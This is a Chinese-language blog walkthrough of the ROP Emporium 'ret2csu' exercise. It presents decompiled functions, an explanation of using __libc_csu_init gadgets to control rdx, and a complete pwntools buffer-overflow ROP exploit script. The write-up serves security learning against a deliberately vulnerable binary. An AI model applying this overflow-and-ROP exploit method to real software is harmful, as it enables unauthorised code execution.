Close

[ROP Emporium]ret2csu

ROP Emporiumret2csu陷入僵局的时候
想找wp的时候发现网上没有任何wp(可能是新题吧)
-w367

题目很简单就跟之前的题目一样有一个有问题的函数 pwnme

主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("ret2csu by ROP Emporium\n");
  pwnme();
  return 0;
}

pwnme

void **pwnme()
{
  void **result; // rax
  char s; // [rsp+0h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("Call ret2win()");
  puts("The third argument (rdx) must be 0xdeadcafebabebeef");
  puts(&byte_400924);
  printf("> ", 0LL);
  off_601018 = 0LL;
  off_601028 = 0LL;
  off_601030 = 0LL;
  fgets(&s, 0xB0, stdin);
  result = &off_601038;
  off_601038 = 0LL;
  return result;
}

还有一个后门函数
ret2win

int __fastcall ret2win(__int64 a1, __int64 a2, __int64 a3)
{
  char command[8]; // [rsp+10h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int16 v6; // [rsp+20h] [rbp-10h]
  __int64 *v7; // [rsp+28h] [rbp-8h]

  v5 = 0xD5BED0DDDFD28920LL;
  v6 = 170;
  *(_QWORD *)command = a3 ^ 0xAACCA9D1D4D7DCC0LL;
  v7 = (__int64 *)((char *)&v5 + 1);
  *(__int64 *)((char *)&v5 + 1) ^= a3;
  return system(command);
}

可以看到ret2win需要三个参数
a1和a2是没关系的但是a3必须是0xdeadcafebabebeef

找一下可以用的gadget
-w1166

发现并没有可以用的gadgetpop rdx 或者 mov rdx

上网找一下ret2csu是啥
-w635
通过搜索发现这是blackhat2018年的议题
通过一个万用的gadget来制造rop

打开_libc_csu_init函数的汇编可以看到
rdx的值是r15给的
然后下面正好有一个pop r15
就有一个完整的rop链先到0x400896在从头跑一遍给rdx赋值
-w440

中间有一个rbp和rbx的比较上面有一个rbx+1
所以只要将rbp赋值为1就可以向下走了
最关键的地方就是call qword ptr [r12+rbx*8]
这里要怎么绕过首先r12和rbx的值都是可控的所以这个地址是可控的
然后因为要解引用首先想到的是got表的地址他指向的是libc里面的地址就可以调用了
-w715
第一次改的时候发现失败了,gdb一直告诉我是个无效地址而且为0
查看一下got表
-w1031
发现居然真的是0
got表为0应该是不可能的
-w320
在pwnme发现有这些指令原来是特意不让调用got表的
不过有个漏网之鱼setvbuf
-w538
在调用的时候发现他会将rdx的值赋值为0xffffffff
这样的话就不能成功调用ret2win函数了

陷入僵局的时候开始在ida里面找地址然后tel一下看看
意外的发现了
-w1089
这些可以用的地址

然后将r12的地址换成其中一个初始化用的函数地址0x0600E10

成功拿到flag
脚本

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context.arch = 'amd64'

local = 1

if local:
    cn = process('./ret2csu')
    # bin = ELF('./task_shoppingCart',checksec=False)
    # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    # libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)


init_add = 0x0600E10
rop1_add = 0x0400896 #add rsp, 8 ; pop rbx ; pop rbp ; r12 r13 r14 r15 ret
rop2_add = 0x0400880 #mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12+rbx*8]
# z('b*0x04006E2\nc')
win_add = 0x04007B1
cn.recvuntil('beef')

payload = 'A'*0x20
payload += p64(0) # rbp
payload += p64(rop1_add) #ret
payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init_add) #r12
payload += p64(0x0601060) #r13
payload += p64(0) #r14
payload += p64(0xdeadcafebabebeef) #r15
payload += p64(rop2_add) #ret
payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(win_add) #ret

cn.sendline(payload)

cn.interactive()

参考文章

http://eternalsakura13.com/2018/03/31/return2csu/

Leave a Reply

Your email address will not be published. Required fields are marked *